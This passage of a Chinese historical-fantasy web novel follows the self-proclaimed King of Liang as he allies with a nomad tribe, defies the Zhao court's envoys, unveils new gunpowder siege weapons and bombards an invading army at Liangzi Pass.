主要文官有四人,最初山头跟随的孙铭与许畅,设左右宰相,协助凉王总领政务; 李良负责管理凉州,李璞负责管理财政; 至于武官,陆云川还是想走“军国合一”的套路,自己不仅为凉王,亦是军队最高统帅,将兵权牢牢控制在自己手中。 关于接下来的国策—— 由于凉国夹在蛮国与大招之间,若两面应付实在太吃力,所以必须先一面为友一面为敌。 大昭自认为是大统一的中原王朝,被陆云川咬掉了一块肉,肯定不会善罢甘休,也肯定不会握手言和; 蛮国就不一样了,他们属于番邦异国,游牧民族以掠夺资源为主,只要给他们甜头,做个纸面上的朋友还是没问题的; 再加上蛮国此次兵败,元气大伤,短期内不会再有野心。 陆云川不需要太多时间,只要能再啃下大昭几块肥沃土地,能够养活三十万精兵,那他便有资本走出雍凉,东征西讨进行统一。 那么,接下来的战略方针便很清晰了——联蛮抗昭! 可是该如何联合蛮国,与他们化敌为友呢? 陆云川将萨武传唤进宫。 作为自己帐下唯一的蛮国人,找他来问问应该最合适。 萨武第一句话便是说:“回禀王上,蛮国其实内部分化很严重。” 蛮国是游牧政权,以部落信仰分治,就相当于“分封制”,各部落都有自己的氏族之王。 当初虎族的兀良阙攻打凉州,狼族与鹰族硬是连一个兵都来支援,可见这三大部落关系非常糟糕。 蛮国各部就像是被强行捏在一起的绳索,搞不好那一天便会自己崩断。 “详细说说看,怎么个分化法?”陆云川抿着嘴唇问道。 “很简单,继承权。” 萨武说道: “二十年前,蛮王阿斯勒提,以强权统一了蛮国各部落; 为了促进蛮国各部的团结,蛮王便在每个大部落里都娶了一名氏族女子作为妃子,然后生下了很多子嗣; 其中狼族,虎族,鹰族,由于部落庞大,妃子所生的王子自然而然便成了争夺继承权的热门; 谁家部落的王子能当上蛮王,谁家便能一跃跻身为直系贵族; 原本蛮王年轻时,还可以威慑住各部,如今蛮王已经年迈,三大部落的明争暗斗也越来越明显; 包括这次蛮军入关,也是三大部落为了争功的政治手段,目的就是为了能扶自己家门的王子上位。” 自古以来,宫斗那点儿事,都是围绕“继承权”展开。 帝王膝下子嗣太多,并不是一件好事。 蛮王在各部落都娶了个妃子,也只能短暂稳定自己这一朝,下一朝势必会腥风血雨。 所以陆云川就从来没考虑过开什么后宫,有李婉清一人相伴到老,日后生两个儿子,其实就够了。 “那以你的目光来看,三大部落出来的王子,哪一个比较优秀?”陆云川问道。 萨武想了想,说道: “虽然我是狼族部落出身,但不得不承认,鹰族王子阿斯勒禽最优秀; 阿斯勒禽是大王子,闻言他八岁便能开弓射雕,骑术也是精湛,深得蛮王喜爱; 若按照中原王朝‘立嫡长子’的传统,阿斯勒禽很可能便是下一任蛮王; 虎族王子阿斯勒索,其实也不差,年纪轻轻便随父出征,立下过不少功勋; 至于我们狼族王子阿斯勒圭么,年纪最小,平平无奇,而且人也好色,唉……连我都觉得是烂泥扶不上墙。” 烂泥扶不上墙? 陆云川可太喜欢这句话了。 “好,本王决定……与狼族合作。” 第一百五十一章 国策 萨武有些诧异,优秀的人不合作,反找拙略的人合作,这是为何? 陆云川用意很简单,便是扶弱抑强。 虎族王子那么优秀,万一以后当上蛮王,岂不是给自己树立了一个强敌? 狼族王子是一坨烂泥,暗中扶持他上位,说不定不用军事手段,他都能自己把国家搞垮。 陆云川便以凉王名义派使者前往蛮国狼族部落,另外再送了一千名狼族战俘作为礼物。 本次蛮国入关,狼族与虎族损失最惨重,反倒是鹰族实力有所保存。 如此一来,三大部落的平衡便被打破,狼族想要重新与鹰族掰手腕,肯定得仰仗外力。 陆云川这一杯敬酒,狼族肯定会吃的。 果不其然。 五日之后,使者反朝,还带回狼族使臣赫连杰。 赫连杰为狼族长老,在部落中有极高威望,狼族派他来洽谈,说明很重视合作之事。 “狼族长使赫连杰,参见凉王!” 赫连杰入殿参拜。 首先态度还行,不会扯那一套什么“上邦不拜下邦”的言论。 陆云川是礼尚往来之人,你敬我三分,我便还你一丈。 “给赫连先生看座。” “是。” 仆人搬来椅子,就放在殿下王座不远。 赫连杰不禁一愣,他出使之前,早已做好被无礼对待的准备,没想到凉王竟让自己坐这么近,而且还称自己为“先生”。 要知道中原人向来以大统自称,轻蔑称呼蛮国为“蛮夷外邦”,这一句“先生”实在太给人面子了。 这凉王年纪轻轻,与自家王子一般大小,肚量却要大得多。 赫连杰言谢入座。 “在谈话之前,本王还有句话想问先生。” 陆云川顿了顿,盯着赫连杰的眼睛,一字一句:“你此次前来,是代表蛮国,还是代表狼族?” 国与族之间的性质完全不同。 赫连杰沉思了片刻,抬眸反问道:“凉王您觉得呢?” 陆云川不由一笑,难怪会派他来,果然有点东西。 “本王觉得未来的狼族,它就是蛮国。” 是的,你没听错,本王要支持你们狼族上位啦。 赫连杰是聪明人,自然听出了陆云川话里的意思,眼下狼族在雍州大败,势力远远弱于鹰族,再不谋求外力帮助,便肯定会失去争夺王位的机会。 “凉王请开门见山!” “好,痛快!” 陆云川也不再尔虞我诈了,直言道:“坦而言之,本王刚建国不久,根基未稳,夹在蛮国与大昭之间有点难受; 我想跟你们做朋友,谈生意,结盟国,希望以后大昭来攻打我时,你们不要在西边儿给我添乱子,就这么简单。” 赫连杰也不藏掖着,“谈生意,结盟国,是需要筹码的。” 陆云川暂且不语,而是拍了拍手掌。 三名王仆端着三个托盘,以红布覆盖,走进大殿,依次来到赫连杰跟前。 两名王仆分别解开红布,露出盘中之物,一块精铁,一碗食盐。 “本王深知,蛮国缺盐铁,赫连先生看一看,这两样东西是否精炼?”陆云川笑道。 赫连杰拿起精铁,弹了两下,确实是好铁,但也没有到他亮眼的程度; 然而等他看到精盐时,眼睛瞬间放了光芒,“如此精细的食盐……莫不是砒霜吧?” “赫连先生挺诙谐的啊,本王要杀你,何必将你请入大殿。尝一尝吧。”陆云川随意挥手。 赫连杰用手指捏了一小搓放入口中,片刻后,露出了震惊的表情,这也太咸了! 蛮国冶炼技术不成熟,王公贵族想要吃精盐,都得想办法从大昭王朝走私! 赫连杰难以置信望着陆云川,“凉王,盐铁可是国本,您真愿意拿它来做筹码?” “说得好像本王不卖给你们,你们就不会暗中走私似的。” 原先黑云寨,黑虎崖都在往蛮国走私盐铁,只不过现在被陆云川搬到台面上来了而已。 再者,精铁与精盐的冶炼技术控制在凉国手中,不想卖的时候随时都可掐断。 “赫连先生先别着急吃惊,还有一物才是重头戏。” 陆云川冲王仆使了个眼色。 王朴将揭开最后一快红布,赫然露出一只瓷罐。 “这是……” “没错,这便是黑火药。” “唰!” 赫连杰猛地从椅子上坐了起来,他早有耳闻,凉军便是凭借这一手威力惊人的火器战无不胜! 若这种火器能装备在狼族,来年争夺王位岂不是稳操胜券? “这黑火药可是本王压箱底的货,不会直接给你们,但如果你们‘有需要时’,本王会毫不吝啬送一批过来。” 陆云川顿了顿,又道:“当然,这些东西肯定不能白给你们,既然两家是做生意,你们也需要拿出筹码才行; 听闻狼国养的战马,高大威猛,本王便以这三样东西,来换你们的战马,这生意做不做?” “做!” 赫连杰想也没想便答应了下来。 “不仅如此,本王要在两国边境,重开榷场商道,今后你们药材,皮革,大凉的丝绸,茶叶,都可以自由互市。” 陆云川笑道:“大家互利互惠,都能吃饱饭,穿暖衣服,又何必打打杀杀,赫连先生你说是吧?” “凉王实在是……” 赫连杰心服口服。 “最后回到第一个话题,本王再问你,你这次出使,是代表蛮国,还是狼族?” “代表狼族!” “很好。” 陆云川甚慰,摆了摆手。 赫连杰带着盐铁与火药拜谢告退。 待其退出大殿后,李璞从偏堂走了出来。 “王上比微臣还要会做生意,寥寥几番交谈便敲定了两国的未来。” 李璞深拘一礼,佩服之至。 陆云川交代道: “这帮蛮国人是没吃过细糠的,不用将最好的盐铁给他们,降一个档次即可; 还有,只要老蛮王没死,不论他们如何索要火药,一律都别给; 再者,第一批盐马互市不用做得太大,先试探性买卖一番,免得他们耍花招儿; 最后,李大人贵为凉国财政大臣,应多辛苦辛苦,多上点心。” “王上放心,不出半年,微臣保证咱大凉国,富得流油!” 李璞信心满满,请礼离开大殿。 陆云川内心甚慰,我大凉国,何其多俊杰? “报!” “王上!” 刘马火急火燎来到殿门口,如今他已是凉国密卫,千目堂也已改头换面为“王城司”,专门负责王城的安全与情报。 “进殿来讲。” “王上!大昭使臣沈均已至城外!” 第一百五十二章 我花开后百花杀! 哦? 刚走了蛮国使臣,又来了大昭使节? “他想来见,那就让他来见吧。” “是!” 刘马退出大殿。 陆云川还特意宣来了孙铭,许畅,周大彪等十二个文武官员,让自己的大殿更有朝堂的样子。 接下来便是朝堂博弈了。 半个时辰后。 沈均,左松,王泉,昂首阔步走进大殿。 扫了一眼殿堂众臣,沈均板着脸,左松昂着头,王泉冷冷一哼,三人默不作声。 “见了凉王,为何不拜!”孙铭厉声呵斥。 “我乃上邦天朝使臣,岂会下拜……番邦野王!”左松冷声道。 来了来了,上邦与下邦之论,往往是两国舌辨的开端。 “我大凉奉天承运,建立国号,凉王更是万民请命,共抚的国主,何时成了你们的下邦?”许畅冷声问道。 王泉辩道:“自古以来,雄踞中原者,才是大统天子,野外建国者,称之为下邦已是抬举你们了!” “同顶头上一片天,凭什么你们是大统!” “就是,若以凉国为中心,你们大昭王朝也是番邦!” “可笑,我大昭王朝四通八达,江山万里,岂是你们凉国可比拟的?” “对啊,你们有传国玉玺么?你们天子佩剑么?” 双方在朝堂你一言我一语,唾沫星子乱飚,就差撸袖子大打出手了。 沈均三人还真是厉害,三张嘴骂十二张嘴,丝毫不落下风。 陆云川托着腮,饶有兴趣看着殿下争吵,有一说一,还蛮有意思的。 “咳咳。” 陆云川轻咳了两声。 “通通都闭嘴!” 周大彪开口如狮吼,结束了双方争吵。 “本王这里不是菜市场,若沈大人想要吵架,我可以去给你们去找几名长舌妇。”陆云川淡淡说道。 “凉王,我此次来,有忠言相劝!” 沈均铿锵有力。 “劝吧,本王洗耳恭听。” 陆云川掏了掏耳朵。 “你驱除鞑虏,解救雍凉百姓于水火,的确有不世之功!封王拜侯也是理所应当!” 沈均高声道:“但王业需天授,天子封疆乃是正统,自立为王则为反叛! 正统者,天下顺之;反叛者,天下伐之! 就问凉王,你,怕不怕!” “有一点点,但是不多。”陆云川托着腮,散漫回了句。 沈均继续道: “我知凉王手段强硬,拥兵自重,但雍凉不过一弹丸小地,能支撑你的强权到几时? 我大昭王朝,万里江山,百姓亿万;论天意,你不足;论军队,你也不足;论财力,你更不足; 雍凉西临蛮国,南临羁縻番邦;北临北狄西域;东与大昭接壤; 如夹缝中的池鱼,如何得以长久? 凉王若是明主,就该接受招安,俯首称臣,如若不然,哼……四方口诛笔伐,霸业毁于一旦!” 好! 说得真好! 抛开他身份不谈,的确能言善辩,口舌如簧。 “沈大人。” “如何!” “有没有兴趣跟着我干啊?”陆云川笑着问道。 “你!” 沈均咬牙切齿,土匪,果真是土匪出身,再是称王称霸,也改不了一身匪气! 陆云川从王座起身,缓缓走下大殿: “常言道,风水轮流转,今年到我家; 自古以来,强者为尊;弱肉强食,乃天地法则; 令家皇帝能坐的江山,为何我陆云川坐不得? 令家皇帝能平的天下,为何我陆云川平不得? 你说皇帝受命于天,而本王偏偏就要与天搏斗,与日月争辉!” “你!你……简直……” “反贼!陆云川,你这个反贼!你注定要受天罚!” “找死!” 刘马带兵就要冲进大殿。 陆云川抬手示意不用,如果谩骂诅咒有用,他也坐不上这个位置。 陆云川从怀中摸出一封信,塞进沈均怀中,交代道:“这是本王送给你们天子的信,劳烦沈大人替我带到。” “凉王,大昭从来不封外姓王爵,您是第一人,这都动不了你的心么?” 沈均咬了咬牙,想最后争取一番。 王爵是爵,终究是臣,岂能与国王相提并论? 陆云川摇了摇头,劝道:“沈大人是忠臣,希望您老多活几年,咱们……京师再见。” 沈均长叹一声,自知再多说也是废话,“我们……走吧。” “送信一人足矣,剩下两个么……拉到边关吃土。”陆云川淡淡道。 “遵命!” 护卫冲进大殿,将左松与王泉叉了出去。 “叛军!两国交战,不杀来使,你……你要遭天下人唾弃!” “沈大人救我们,救我们啊……” 左松与王泉失声哀嚎。 两国交战虽不斩来使,但朝堂侮辱国王,又岂能饶你? 他们终究还是没什么智慧与气节吧! “传本王命令,雍凉全境,整军备战!” “是!” …… 七日之后。 东京汴梁城,皇宫朝堂上。 文武百官,面色沉重。 坐在龙椅上,身裹龙袍的五旬老者,便是大昭第十二帝,昭庆宗赵暮。 赵暮盯着沈均送回来的书信,气得手都在颤抖,只因信上写着一首诗: 待到秋来九月八,我花开后百花杀! 冲天香阵透汴京,满城尽带黄金甲! “占了雍凉,还敢写反诗!叛军贼子,欺朕太甚!” 赵暮撕碎书信,怒宣道: “雍凉叛军,亵渎皇权,大逆不道,拟讨贼檄文,再传朕旨意:告成都府,延安府,夔州府,长安府,起西南、西北出两路大军,共讨叛军!” “今年九月,朕要凉国,天诛地灭!” 第一百五十三章讨贼檄文 七日后。 凉国,云清宫大殿,二十余名文官武将左右分立,脸色都不免有些阴沉。 陆云川坐在王位上,表情则平淡许多。 “王上,大昭王朝发来《讨贼檄文》,斥您为雍凉叛贼,命镇西大将军韩忠,与武威候陈拓,分永兴与利州西进、北上,共计三十万大军……” 刘马手中攥着檄文,言语间不乏有些颤抖。 怕,多少还是会有点怕。 大昭王朝近几年就算再衰败也比雍凉庞大数十倍,体量差距毕竟摆在这儿…… “念。” 陆云川简简单单吐出一个字,却让殿内气氛瞬间有所缓和。 刘马迟疑了片刻,展开手中帛书:“逆贼陆云川,僭越称王,屠戮忠良,擅起兵戈……” “停。” 陆云川微微抬手,从王座起身,缓缓走下殿堂,来到刘马面前,随手便抽走了檄文,淡淡扫了一眼: “嗯……措辞优美,文笔工整,内容生动,写得不错……” 他又问道:“知道是谁写的么?” “据说是大昭第一文圣‘贺之风’的手笔。” 贺之风? 陆云川联想了片刻,如果没记错,李良曾经拿出过一幅《春潮望月图》,似乎也是这人手笔。 “王上,大昭这是对您……口诛笔伐呢,您不但不生气,还夸赞这文贼……” 刘马不解,满堂文武亦不解。 “可是这封檄文写得确实不错,要不是它,我都不知道这么十恶不赦,哈哈哈……” 陆云川的笑声在朝堂回荡。 片刻后,他脸色一沉,笑容戛然而止,“不过……” “刺啦!” 锦帛撕裂代替笑声,再次响彻大殿。 “刺啦!刺啦!” 又是两声,价值连城的蚕丝帛书在陆云川手中四分五裂。 这番举动,让朝堂气氛再度缓和,所有人都知道,王上心中有计。 陆云川将帛书碎片往空中一洒,龙袍水袖轻轻一甩,漫不经心朝后殿走去,并招呼了句: “沈风,书房来见。” 辗转书房。 陆云川前脚刚进,沈风后脚跟入。 为何只召见沈风,因为他能文能武。 像周大彪,胡大勇等人,冲锋勇猛,万人不敌,只适合当将军。 但沈风出身官流,当过密卫,干过谍报,文武双全,这类人适合作为元帅重点栽培。 书房的墙壁上,挂着一副大西北地图,红圈所勾画之处,便是永兴与利州两路,一个在雍凉以东,一个在雍凉以南。 大昭两路大军,大概率既是这两个方向往雍凉推进,想促成南、东两路夹击之势。 自打沈均带着那封《满城尽带黄金甲》书信离开后,陆云川便料到大昭皇帝必会兴兵来讨,这十几天来他早已做好了规划,眼下只差完善细节。 “沈将军,这次看来,大昭是要动真格儿了,你怕不怕?”陆云川笑着问道。 “末将随王上一路走来,踏过多少尸山血海,又不是吓大的,有何好怕?” 沈风说道:“而且大昭王朝分明是在虚张声势,他根本就没有三十万大军; 末将曾在京师皇城司任过职位,太懂大昭朝廷的真实面貌了; 那汴京号称有‘八十万禁军’,其实真正在职的最多不过二十万; 此次讨伐雍凉的三十万大军,依我看至少打个折扣,十五万不能再多。” “可是我们的兵力,好像也不多啊。” 建立凉国之后,东南西北都得分兵去镇守国界,如今雍州城的兵马只有五万,哪怕对面也是谎报了军队数量,雍凉可用之兵也要低于大招数倍。 “王上不用担心,大昭军若真有那么神勇,也不会被蛮族破关了,不过纸老虎罢了; 眼下我凉国兵精粮足,火器先进,且是打卫国防御战,以五万精兵拒绝大昭两路,足够了!” 沈风信心满满。 “哈哈哈……” 陆云川仰头大笑,“沈将军果然是帅才。” 他又指了指墙上的地图问道,“那你再说说,这场以少胜多的战役,我们该如何去打?” “这个……” 沈风苦笑着摇了摇头,“末将胡诌两句还可以,真要我制定战略方针,还是心有余而力不足……” “那便听我的战略——” 陆云川指着地图开始分析道: “大昭两路大军攻凉,必定会分主攻与辅攻; 东边的长安府,常年受北狄之患,有后顾之忧,必不敢大肆进攻,只能作为辅攻; 南边的延安府,没有外患之忧,肯定是由他们来主攻; 眼下我国有可调动的精兵五万,分出两万由沈将军率领去据守东方,剩下三万则由本王亲率南下阻截。” 陆云川顿了顿,又强调道: “记住,东边只守不攻,死守关隘不出;只要永兴军没有进展,北狄稍有风吹草动,他们便会撤军。 而本王的南边么……” 他指了指地图上标注着“利州平原”的位置,“不仅要大昭溃败退兵,还要吃掉他的利川平原!” 雍凉路除了黑河两岸土地比较肥沃,其余很多地方都是荒原,并不适合耕种,甚至雍州北部与西域接壤之处还是一片戈壁沙漠。 陆云川的下一步战略,便是夺取一块平原,为积蓄粮食屯田。 雍凉有两块平原—— 一块是东边的关中平原,也就是长安府所控制的那块地; 一块是南边的利川平原,也就是延安府所控制的那块地; 关中平原号称“四塞之地”,易守难攻,军事防御力极强,且就算拿下了,也会面临北狄外患,暂且不做考虑。 利川平原位于阴山与巴山之间,防御力要低于关中,两座大山阻隔了外患; 且最重要的是,黑河将会从利川平原径流而过,那么大凉水师便能发挥作用。 就算此次大昭不来攻打凉国,那么陆云川也会主动出兵攻占利州。 “末将听候王上任何调遣!” “很好。” 陆云川当即执笔起草: 命沈风为‘平东元帅’,宋康,赵猛为副将先锋,领两万精兵东拒永兴军; 凉王亲自挂帅,命赵猛,胡大勇,陈世钊为先锋,领三万精兵南扛利州军。 大凉水师舰队,负责漕运后勤,五千水兵随时待命,准备策应; 筹集粮草,整顿军马,加造火器。 七日之后,出击迎敌! 第一百五十四章挂帅出征 在即将出征之前。 陆云川专门去了一趟匠作堂。 国家是立起来了,国王也是当上了,武器肯定也要升级一下才行。 随着今后的征战次数越频繁,单纯的火药与酒精已无法满足。 而且故人的智慧比想象中的要高很多,火药并不是无敌的,用多了肯定会被找破解之法。 就譬如先前凉州防御战中,蛮国所使用的铁甲战象,铁板再厚一点,火药就炸不动了。 落后就得挨打,尽管火药这种战争利器已很超前,但陆云川还是想再拉开一些差距,毕竟这玩意儿是自己搞事业的最大底气。 “当家的……啊呸!” 吕铁急忙自己扇了一巴掌,“叫习惯了,还请王上恕罪。” “行了,哪儿来那么多规矩,在外面叫王上,私底下还是叫当家的吧,我听着也耳熟。”陆云川摇头笑道。 对外称王,称“本王”,那是突出威仪,对内称“当家的”,则是关于情谊。 再说了,这凉国本就是个大家庭,叫他当家的也没什么错。 “嘿嘿……哦对了,当家的,我为您引荐一个人!” 吕铁身后有徐三通,有董大,有刘氏两兄弟,都是原先最初建立山头时的“技术人员”,他们都被统一编在了匠作堂,负责火器,军械,机关,木头,铁,石头……通俗而言,就是聚在一起搞发明。 除了这些熟人之外,班子中还有个年纪三十五六,留着八字胡的中年儒士。 吕铁拉着中年儒士介绍道:“这位是王牧,王先生,他可不得了啊,先前在边军军器监里是头号人物,发明不少东西呢!” “哦?” 陆云川眼睛亮了。 原先吸收了八万战俘,哪怕就是万里挑一,那也应该有八个人才,而这种“古代发明家”更是人才中的人才。 “王牧,叩见凉王!” “免了免了。” 陆云川扶起王牧,笑道:“王先生与其向我下跪,不如拿点真东西出来,最好能让本王眼睛一亮。” 王牧一愣,点点头,只道:“王上,请随我来!” 一班子人辗转内堂。 “王上,此物叫做‘火龙弹’,酒精与火硝兑制而成,沾火便炸,范围更大!” “此物叫做‘震天雷’,火药与铁蒺藜所制,若陆战可用薄铁作外壳,水战可改良成纸糊或陶瓷,一经炸开,铁蒺藜蹦出,死伤一片!” “千钧长臂弩,一次可射出十只重箭!” “雷火神威炮,可投掷出三十斤重物,距离可达八百步!” “改良后的猛火油柜,可以火油、鱼油作为燃料,喷射的火焰长达三丈,昔日边军便是用此物来抵御蛮军攻城的。” “剧毒沥青,以人畜粪汁,添硫磺,锈铁,松脂熬煮三日落成,贴甲渗入即可伤人,三日烂肉,七日溃骨!” 王牧依次向陆云川展示自己的改良与发明。 “王先生果然大才!” 陆云川毫不掩饰大赞,有了这些东西,何愁大昭不败? “王上过誉了,这些器械不算什么,最主要的还是您发明的火药与酒精,我只不过是在锦上添花罢了!” “好!若你的发明,能助本王南征大胜昭军,待本王凯旋,必然重重有赏!” …… 七日后。 天启初年,五月十九,夏日炎炎。 凉王陆云川亲自挂帅,领精兵三万、水兵五千,挥师南下,进发利凉二州交界要冲——良子关。 次日五月二十,沈风挂帅,领精兵三万,挥师东进,驻守雍州与永兴门户险要——龙脊关。 五日之后,陆云川部队刚进入良子关。 “报!” “三百里加急,武威候陈拓,领兵十万已踏入利州平原!” 斥候探马回报。 果然与当初猜想的一样,大昭将利州作为了主攻方向,这十万大军肯定没有半点水分。 “再探,随时汇报。” “是!” “传令下去,加快修缮城墙,掘子军抓紧挖掘地陷。” “是!” 原先大昭为了抵御蛮军从凉州南下,便在大巴山与阴山之间,修了这么座独门独户的良子关。 良子关已多年未用,但好在用料很足,虽赶不上铁门关那样的大关,但高墙,吊桥,护关渠应有尽有。 良子关背后还有个小县城“良子县”,坐落着七八百户人口,将此县作为后勤屯粮仓库再合适不过。 五千名水兵与十五艘战船,在良子县外的“凌风渡口”停靠休整; 水师若想要南下,必需沿峡谷穿越巴山水道,那里肯定有利州水关; 眼下先打好防御战,若胜再沿河南下进行推进。 一切都已准备就绪。 大战前阴云密布,炎热的夏季,沉闷又压抑。 倒是此次前来征讨的武威候陈拓,是个何许人? 大昭王朝不封异姓王,除了皇室贵族之外,最尊贵的爵位便是“侯爵”了。 能被封侯的人,要么是祖上积德,要么是战功赫赫而立。 陆云川派人去找当地县民去问了才知道,原来陈拓的先父陈操是朝廷二品骁骑将军,据说还曾经救过当今皇帝的性命, 故而陈操晚年被封万户侯,近一半的利川平原都是他的封地。 陈操去世之后,其长子陈拓顺利世袭,也就有了如今的“武威候”。 搞了半天原来是个“侯二代”。 也怪不得侯爷要亲自出征,这么大块肥沃的封地,谁也不想失去。 “王上,据说那武威候有不输他父亲的军事才能,他还帮延安府训练了一支‘步人甲’重甲步兵,很是厉害啊。” “步人甲?能扛得住本王的一轮轰炸么?” 孰弱孰强,打一架便知! 第一百五十五章远程轰炸 三日之后。 盛夏的烈日炙烤着大地。 良子关的天空却蓝得晃眼,像一块被擦得锃亮的巨大琉璃悬在头顶。 然而这份耀眼的清澈,并未带来丝毫凉意,反而将关城外那铺天盖地的肃杀烘托得更加灼热逼人。 “咚咚咚!咚咚咚!” 关城北面的平原上,沉闷如雷的牛皮巨鼓声,伴着飞扬的尘土。 滚滚烟尘,在炽热的空气中翻腾,远远望去,如同地面在沸腾。 烟尘深处,密密麻麻的刀枪剑戟反射着毒辣的阳光,汇聚成一片令人胆寒的、波光粼粼的赤甲海洋。 十万大昭北伐军,列阵与关外。 军阵最前边的,五千身披赤甲的精兵,人均高七尺,持精钢长矛,几乎武装到了牙齿,利州马步兵王牌——步人甲军团。 赤色洪流,即便是站在那儿一动不动,也散发着令人窒息的压迫感。 军阵中,一杆巨大得几乎要刺破天际的杏黄帅旗在热浪中沉重翻卷,张牙舞爪! 旗面上那个墨色淋漓的“陈”字,而在旗帜之下,立着一名身材魁梧,身骑黑鬃骏马的中年男子,他便是此次北伐主帅,武威候陈拓。 “侯爷!” 副将顶着烈日策马奔至帅旗下,他指向良子关高耸的城楼: “探子确认,贼王陆云川就在关上,其号称有十万大军,实则捉襟见肘,最多不过三万之数!” 陈拓眯着眼,目光如鹰隼般扫过烈日下的良子关,嘴角勾勒出一丝胸有成竹的冷笑: “区区三万边鄙疲卒,也敢螳臂当车?陆云川这小儿,真是愚不可及! 传令,前营压上,攻城重弩,投石机预备,本侯倒要瞧瞧,他的骨头是不是比关墙还硬。” “起兵!” 随着令旗挥动。 急促狂暴的战鼓声瞬间撕裂空气。 人均披甲五十斤的步人甲军团,整齐划一地前踏一步,沉重的脚步声使旱地略微震荡。 阵列后方,一架架粗壮狰狞的三弓床弩被力士绷紧牛筋巨弦,手臂粗细、丈余长的锐利箭头,稳稳对准了良子关的城墙垛口。 巨大的攻城云车、冲车、投石机的轮廓也在后阵的烟尘中缓缓显现。 “哼,这帮贼叛军,估计见我军雄壮,便已经吓破胆了!” 陈拓一脸狂傲,这步人甲是他爹传承下来的,当年就是靠这支劲旅勤王护驾,才有了今日侯爵的头衔。 我家立下汗马功劳,才封了个侯爵。 一个不知天高地厚的叛军,却敢自立为王? …… 城楼之上,气氛凝重。 “步人甲军团,果然有些气魄……” 陆云川斜倚在雉堞的阴影下,望着气势勃勃的赤甲军团,眼睛不停闪着精光。 他的黑甲军团,也只是身披二十七斤铁甲,而眼前这赤甲步人军,估计还要再翻一倍。 若与这种重甲兵团打平原野战,互相对砍,都不敢去想象后果。 “气魄个屁啊!” 胡大勇骂道:“这么热的天,老子恨不得脱个精光呢,这帮人穿五六十斤的铁甲在太阳下暴晒,想想都替他们难受。” 话糙理不糙! 还没动手先把自己的兵折腾出一身汗,值当么?” “喜欢排兵布阵,装腔作势?那本王便打乱你们的阵型!” 陆云川当即下令:“火龙弹,轰天雷准备!” “是!” 千钧长臂弩与雷火神威炮被推上关墙。 火器军力士们赤膊上阵,十人为一组,狠狠拉下重弩弓弦与投石机的力臂,绷紧的牛筋发出“砰砰砰”脆响。 “禀王上,满药装填完毕!” 王宝递过来一支赤红令旗,“您来打响第一炮!” 陆云川接过令旗,视线穿透翻腾的烟尘和蒸腾的热浪,牢牢锁定在关城外约莫三里处的军阵。 “那便来试一试,火龙弹与震天雷的威力。” 令旗猛地高高擎起! “放!” 话音与令旗共同落下。 “唰唰唰!” 三十余台长臂弩与神威炮同时发射。 数十枚火龙弹与震天雷,数百支捆绑着炸药的重箭,以一种肉眼根本追不上的恐怖速度,撕开灼热的空气破空而去! 在空中划出几十道优美的弧度。 精准落入赤甲军阵中。 “轰隆隆!” 火龙弹瞬间爆炸,火焰飞溅四溢,泛起的火光盖过了热浪! 震天雷轰然炸裂,除了就近杀伤外,内含的铁蒺藜更宛如一柄柄夺命飞刀,再厚实的步人铁甲也被穿了个血窟窿! “啊啊啊……” 爆炸与惨叫几乎同时响起。 步人甲士卒被炸得东倒西歪! 这种爆炸,哪怕能防御得了,也会震碎内脏! “吁——” 惊得大昭骑兵马扬前蹄,陈拓差点从马背摔下来,他狠狠抓住缰绳,失声惊呼: “这是什么东西!怎可能打得这么远!” “侯爷,早听说这伙叛军有一手火器威力无穷,咱们靠得太近了!先撤吧!” “撤?临阵未战,岂有撤退之理——” “咻!” “嗡嗡嗡!” 陈拓话音未落,一支重箭落在他马蹄前。 “滋滋滋……”火箭上的火药引线即将燃尽。 陈拓一时间愣了神,竟一动不动。 “侯爷快撤!” 副将徐东飞身将陈拓扑下马背。 落地的刹那! “轰隆!” 火药炸开! 被留在原地的黑鬃骏马,瞬间被炸药一分为二,而旁边的“陈”字大旗,也被爆炸火焰所引燃。 “呸,呸……” 陈拓吐出嘴里泥,晃了晃脑袋,许久才恢复清醒。 自己那训练有素的步人甲军团,被这突如其来的打击搅成了一锅粥! “我的宝马……” 陈拓心疼跪在马尸边,这马随他已有十年! “我家的战旗……” “快!快护旗啊!” “撤退,先往后撤退三里!不!撤退五里!” 大昭十万兵马,连滚带爬往后撤退。 “陆云川,搞偷袭的卑鄙小人!你给本侯等着!等着!!!” 再大声的嘶吼咆哮,与爆炸声比起来也细小如蚊! “哈哈哈!” 陆云川一脚踩在墙垛上,望着溃逃的昭军扬天大笑,火龙弹与震天雷果然威力十足!长臂弩与神威炮果然投得够远! “方才轰炸旗帜那一炮,是谁他妈放的,打得可真他妈好啊!” “报告王上,是我们二班……可惜偏了一点,否则那武威候此刻已变成烤猴了!” “焚旗者,赏!” “整个班子,平地升一级,今夜入本王营帐,同席加餐!” 第一百五十六章 天降金汁儿 五里开外。 大昭军停止撤退。 从士卒到将领,无一不灰头土脸,满头大汗。 “侯爷,喝口水吧……” 副将徐东将水袋递到陈拓面前。 陈拓狂饮了大半袋,才彻底解去口渴,再看自己身后这十万兵马,都还没开始攻城,便已士气低落,尽显颓势。 作为一军主帅,决不能临阵怯敌! “哼,不过些许障眼邪法,何足惧哉!我大昭雄兵百万,披坚执锐,难道还惧他这等奇技淫巧?!” 陈拓刻意抬高了音量,让尽可能多的士兵听到,稳定他们的军心。 “众将士听令,重新列阵,竖起铁盾!” 步人甲军团,比人还高的铁盾,整齐树立在前排。 “一口气,拿下良子关,捍卫大昭荣耀,共享荣华富贵!” “击鼓!进军!” “轰!轰!轰!” 沉重的脚步声与鼓点同时敲响,却比之前的脚步更加整齐、更加沉重、带着令人心寒的质感。 五千赤甲雄兵,循序向关口渐进,行动间甲片摩擦发出沉闷而令人牙酸的声响。 所过之处,连热浪似乎都被这金属气息逼退了半步。 这次陆云川并没有让人放炮,赢下防御战的手段有很多,他不想第一天便将火药打光。 何况步人甲身上的重甲,他挺想要的…… 军团千夫长,“狂战士”鲁熊,身量比其他赤甲兵更加魁梧,铠甲也明显更加精良厚重。 鲁熊手持一柄门扇般的开山巨斧,藏在铁盾阵后,在走到距离关墙一箭之地,他呼喊一句: “停!” 步人甲军团停下进军步伐,再往军阵前结了一层铁盾防线。 鲁熊桀骜仰头望向城楼,猛地将巨斧狠狠往地上一墩! “咣!!!” 巨斧沉重地插入泥土,斧柄微微摇晃。 鲁熊双臂抱胸,即使身披重甲,这个动作依旧带着强烈的挑衅意味。 “凉王小儿,可敢出城,与某家鲁熊决一死战一战!” “缩在龟壳里放炮仗,算什么本事!快快滚出来受死!” 吼声响亮,如同野兽咆哮! 关墙上。 “王上,我去战他!” 周大彪咬牙切齿,狼牙棒扛在肩上。 